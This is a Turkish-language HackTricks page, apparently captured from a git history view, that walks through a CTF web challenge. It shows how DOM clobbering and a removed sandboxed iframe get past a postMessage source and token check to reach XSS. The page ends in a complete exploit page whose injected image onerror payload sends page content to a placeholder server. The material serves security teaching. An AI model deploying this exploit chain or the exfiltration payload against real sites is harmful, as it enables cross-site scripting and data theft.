hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md

90 lines
6.5 KiB
Markdown
Raw Normal View History

2024-02-10 18:14:16 +00:00
# Iframe'lerle SOP Geçme - 2
2022-10-13 00:56:34 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
2022-10-13 00:56:34 +00:00
2024-02-10 18:14:16 +00:00
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
2022-10-13 00:56:34 +00:00
</details>
2024-02-10 18:14:16 +00:00
## SOP-2'de Iframe'ler
2022-10-13 00:56:34 +00:00
2024-02-10 18:14:16 +00:00
Bu [**zorluk**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc) için [**çözümde**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution), [**@Strellic\_**](https://twitter.com/Strellic\_) önceki bölümdeki benzer bir yöntem öneriyor. Hadi kontrol edelim.
2022-10-13 00:56:34 +00:00
2024-02-10 18:14:16 +00:00
Bu zorlukta saldırganın aşması gereken şey:
2022-10-13 00:56:34 +00:00
```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
```
2024-02-10 18:14:16 +00:00
Eğer yaparsa, **innerHTML** ile temizlenmeden sayfaya yazılacak HTML içeriği ile birlikte bir **postmessage** gönderebilir ve böylece **XSS** saldırısı gerçekleştirebilir.
2022-10-13 00:56:34 +00:00
2024-02-10 18:14:16 +00:00
İlk kontrolü atlatmanın yolu, **window.calc.contentWindow**'u **undefined** ve **e.source**'u **null** yapmaktır:
2022-10-13 00:56:34 +00:00
2024-02-10 18:14:16 +00:00
* **window.calc.contentWindow** aslında **document.getElementById("calc")**'tır. **document.getElementById**'i **<img name=getElementById />** ile değiştirebilirsiniz (Sanitizer API -[burada](https://wicg.github.io/sanitizer-api/#dom-clobbering)-, varsayılan durumunda DOM clobbering saldırılarına karşı koruma sağlamak için yapılandırılmamıştır).
* Bu nedenle, **document.getElementById("calc")**'i **<img name=getElementById /><div id=calc></div>** ile değiştirebilirsiniz. Böylece **window.calc** **undefined** olacaktır.
* Şimdi, **e.source**'un **undefined** veya **null** olması gerekmektedir (çünkü `==` yerine `===` kullanıldığından, **null == undefined** **True**'dır). Bunu elde etmek "kolaydır". Bir **iframe** oluşturup ondan bir **postMessage** gönderir ve hemen ardından iframe'i **kaldırırsanız**, **e.origin** **null** olacaktır. Aşağıdaki kodu kontrol edin:
2022-10-13 00:56:34 +00:00
```javascript
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null
```
2024-02-10 18:14:16 +00:00
**İkinci kontrolü** atlamak için **`token`** değerini `null` olarak göndermek ve **`window.token`** değerini **`undefined`** yapmak gerekmektedir:
2022-10-13 00:56:34 +00:00
2024-02-10 18:14:16 +00:00
* `token` değerini `null` olarak postMessage ile göndermek basittir.
* **`window.token`**, **`document.cookie`** kullanan **`getCookie`** fonksiyonunu çağırır. Unutmayın ki **`null`** kökenli sayfalarda **`document.cookie`**'ye erişim her zaman bir **hata** tetikler. Bu, **`window.token`**'ın **`undefined`** değerine sahip olmasını sağlar.
2022-10-13 00:56:34 +00:00
2024-02-10 18:14:16 +00:00
Son çözüm [**@terjanq**](https://twitter.com/terjanq) tarafından [**aşağıdaki**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html) gibi olmuştur:
2022-10-13 00:56:34 +00:00
```html
<html>
2024-02-10 18:14:16 +00:00
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');
function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr);
function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
2022-10-13 00:56:34 +00:00
</html>
```
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
2022-10-13 00:56:34 +00:00
2024-02-10 18:14:16 +00:00
* Bir **cybersecurity şirketinde çalışıyor musunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
2022-10-13 00:56:34 +00:00
</details>